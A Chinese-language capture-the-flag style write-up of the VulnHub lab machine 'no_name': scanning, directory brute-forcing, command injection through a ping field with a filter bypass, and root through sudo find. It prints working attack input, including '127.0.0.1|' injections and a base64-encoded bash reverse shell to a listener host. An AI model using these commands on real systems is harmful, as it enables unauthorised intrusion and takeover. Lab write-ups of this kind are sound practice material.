vulnhub靶場
Vulnhub靶机-Jangow
Vulnhub靶机-mycms
Vulnhub靶机-no_name
Vulnhub靶机-Tempus Fugit 1
HACK学习
-
+
首页
Vulnhub靶机-no_name
# Vulnhub 靶机-NoName ## 信息收集 ``` nmap -A -p- 192.168.1.30 ``` ![image-20221121155209656](/media/202211/2022-11-22_2203400.19745514130902553.png) **发现只开放了 80 端口。** **打开网页看了一下,发现是个假的提交框。** **同时发现页面给了提示,** **Fake Admin Area**--说明是假的管理界面,需要找到真的这个提交框,那么现在思路很明确了。开找!!! ![image-20221121155453850](/media/202211/2022-11-22_2203400.7846545193637061.png) **首先,我们需要把相关页面都检查一遍,防止有遗漏信息。** **检查一遍之后,发现没有任何遗漏,那么开始目录遍历。** ![image-20221121155746654](/media/202211/2022-11-22_2203410.031562498021427854.png) **目录遍历有很多工具,比如:dirb,dirbuster,gobuster,dirsearch 等等。今天我们掌握的是 dirsearch:** ``` dirsearch -u http://192.168.1.30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -r -i 200,300-404 -x 404 -e php,html,json,md,xml --random-agent #参数意思: #-t 线程 #-r 暴力递归 #-i 指定相应代码 #-x 不显示相应代码 #-e 指定后缀语言 #--random-agent 自定义请求头 ``` ![image-20221121220916731](/media/202211/2022-11-22_2203410.8464434402979233.png) > **在这里,只探测了两个请求,笔者一个个看过去。虽然显示了一个 admin,但是目前并没有任何作用,只有四张图片,笔者怀疑该页面可能有隐藏信息,就 curl 继续查看** > > ![image-20221121221042471](/media/202211/2022-11-22_2203420.2950611457284642.png)![image-20221121221110201](/media/202211/2022-11-22_2203430.32524976649889437.png) ``` curl -i -L 192.168.1.30/admin ``` ![image-20221121221434127](/media/202211/2022-11-22_2203440.5974216423491582.png) > **并没有发现任何的有用的信息** > > **到了这一步,我猜想,可能是将信息隐藏到图片中,所有,将四张图片都下载下来,查看了一番:** ![image-20221121221634455](/media/202211/2022-11-22_2203450.750064249644493.png) **结果很遗憾,并没有发现任何有用的价值。** **其实到了这里,笔者心里面已经开始慌了,笔者前去官网查看了一下这个靶机难度,怀疑是看错了靶机难易程度** ![image-20221121221904504](/media/202211/2022-11-22_2203460.7386245349446456.png) **发现并没有看错,是一个初级水平的靶机,这个时候,笔者就纳闷了,为什么找不到漏洞呢?难道是找中间件漏洞?** ![image-20221121224741684](/media/202211/2022-11-22_2203470.9886363937395961.png) ``` locate php/remote/29290.c //查看漏洞位置 gcc exp.c -o exp //编译 apt-get install libssl-dev //解决报错 ``` ![image-20221121224927510](/media/202211/2022-11-22_2203480.26154011878579664.png) **发现还是报错!!!!** **不会解决问题的程序员不是好网络渗透爱好者!!!** **继续解决问题:** ``` gcc exp.c -o exp -lssl -lcrypto //编译成功,指定库放在源文件后面即可。 ``` ![image-20221121225037024](/media/202211/2022-11-22_2203500.3795187356831955.png) **现在,笔者怀着满满的信心,开始尝试!!!** > **开启监听** > > ![image-20221121230026825](/media/202211/2022-11-22_2203510.35062970523932635.png) > > > **笔者先尝试看看需要哪些参数:**![image-20221121225917410](/media/202211/2022-11-22_2203510.7011954982506611.png) > > > > **开始尝试第一种:----错** > > > > ![image-20221121230103606](/media/202211/2022-11-22_2203520.4993554571570159.png) > > > > **开始尝试第二种:---但是很遗憾,返回的都是 404。也许还是参数设置不对。**![image-20221121230150668](/media/202211/2022-11-22_2203530.991412625954405.png) > > > > **开始尝试第三种:---得到的结论一模一样。** > > > > ![image-20221121230314556](/media/202211/2022-11-22_2203530.7438658221578989.png) **现在可以得出,这个漏洞不能利用。当然可能是我方式不对,所以,如果有知道该如何利用的,请告知我一声,一起学习一起进步!!** > **现在开始反思,是哪个地方出了问题?** > > **1.靶机难度确实是入门,那么说明漏洞不难发现。** > > **2.目前探测的只有 80 页面,探测没有问题。页面也很简单,都是静态,没有任何可交互的模式** > > **3.进行过中间件漏洞探测。中间件漏洞探测目前没有发现。** > > **4.进行过 web 目录遍历,那么根据页面提示,可能需要找到真正的 admin 页面。** > > **5.如果中间件没有问题,那么就是目录有问题,也许是字典太小了?** > > **好,说干就干,尝试大字典爆破!因为之前扫描发现有一个 index.php,那么先用 php 大字典扫一下:** **有新发现!!!!并且可以执行命令!!** ![image-20221121234852009](/media/202211/2022-11-22_2203550.21494204542402107.png) ![image-20221121235023924](/media/202211/2022-11-22_2203560.8543351333103596.png) ## 反弹 shell > **看一下这个到底能不能执行其他命令** > > **尝试了之后,发现并不能执行其他命令** > > **那么换个思路,看能不能用 | 管道符。** ``` 127.0.0.1|id ``` ![image-20221122194510607](/media/202211/2022-11-22_2203570.8045295551555375.png) **既然可以,那么先看一下该页面的源代码,看看是做了哪些处理,这样可以避免和之前一样,走不必要的弯路。** ``` 127.0.0.1|cat superadmin.php #具体解释放到图片中。 #那么这边是禁止nc等参数,同时也是禁止/ &符等参数。那么我们是否可以用一些加解密的方式跳过呢?来尝试一下! ``` ![image-20221122195156827](/media/202211/2022-11-22_2203580.30639554727257423.png) ``` #还是一样,首先判断有哪些可以反弹的命令。(因为笔者之前没有判断,无脑nc,失败过,所以这次复盘才有这个过程。) 127.0.0.1 | whereis nc #没有信息 #正常来说都有bash,那么来看看bash把 127.0.0.1 | whereis bash #有 #那么开始bash反弹。 ``` ![image-20221122205019295](/media/202211/2022-11-22_2203580.6236600020302736.png) ``` bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1' echo -n "bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1'" | base64 echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d ##发现加密后和解密后一致,那么可以开始反弹shell了。 ``` ![image-20221122205113052](/media/202211/2022-11-22_2203590.9799060306114049.png) ![image-20221122205240778](/media/202211/2022-11-22_2203590.43652529936810924.png) **这里需要注意一下,因为 base64 解密后,只是一个纯文本,需要给他执行权限,所以后面需要给他一个 bash,让他执行。如下:** ``` 127.0.0.1 |echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d | bash #开启监听: rlwrap nc -lvnp 8888 ``` ![image-20221122205546099](/media/202211/2022-11-22_2204000.914642107154592.png) **反弹成功!!!** ## 提权 > **查看相关版本信息:这个版本我记得是没有什么漏洞的。**![image-20221122205921374](/media/202211/2022-11-22_2204010.038326228783746585.png) > > **继续查看可否有 suid 提权的。** ``` find / -perm -u=s -type f 2>/dev/null |grep /usr/bin #这里有一个pkexec,是可以提权的,但是有一个限制,就是需要有sudo用户组权限或者密码。也就是目前应该是不可以用的。再找找其他的。 crontab -l #也没有定时任务。 #这里需要再找找其他文件,如果找不到,就需要上传linux检测的相关脚本,自行检测了。 ``` ![image-20221122210416854](/media/202211/2022-11-22_2204010.16374079252036022.png) ![image-20221122210751690](/media/202211/2022-11-22_2204020.3344019346899192.png) > **继续查询 home 目录下的用户目录:** ![image-20221122211242093](/media/202211/2022-11-22_2204030.2995612128399464.png) ![image-20221122211620901](/media/202211/2022-11-22_2204030.5847962630518273.png) ![image-20221122211801629](/media/202211/2022-11-22_2204040.43867087661160287.png) ``` find / -type f -iname "*passwd*" #我都看了一遍,没有查到有用的信息。 #那么在查找隐藏文件中有passwd的 find / -type f -iname ".*passwd*" #完美!!找到了!!! ``` ![image-20221122212742770](/media/202211/2022-11-22_2204040.30706431656773014.png) ![image-20221122212752354](/media/202211/2022-11-22_2204050.5275656430279202.png) ![image-20221122212906734](/media/202211/2022-11-22_2204060.9460157424109397.png) > **好吧,显示需要用交互式命令,那么给他一个交互式命令把。** ``` python3 -c 'import pty;pty.spawn("/bin/bash")'; ``` **进入 haclabs 目录,用 cat 看了一下*.sudo_as_admin_successful* 这个目录**,**显示的还是这个,那么从字面意思来看,是这个用户有一个 root 权限的命令,那么用 sudo -l 查看一下** ![image-20221122213406453](/media/202211/2022-11-22_2204060.7120780335822604.png) > **使用 find 提权,这个再熟悉不过了!** ``` sudo find -exec /bin/bash \; -quit ``` ![image-20221122213812687](/media/202211/2022-11-22_2204070.17790120087417538.png) **提权成功!!!** **===========================================================================** **这个靶机没有什么可以总结的,如果非要总结就是,以后扫描目录要用一个大目录~~~哈哈哈哈**
looch
Nov. 22, 2022, 10:12 p.m.
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档
PDF文档(打印)
分享
链接
类型
密码
更新密码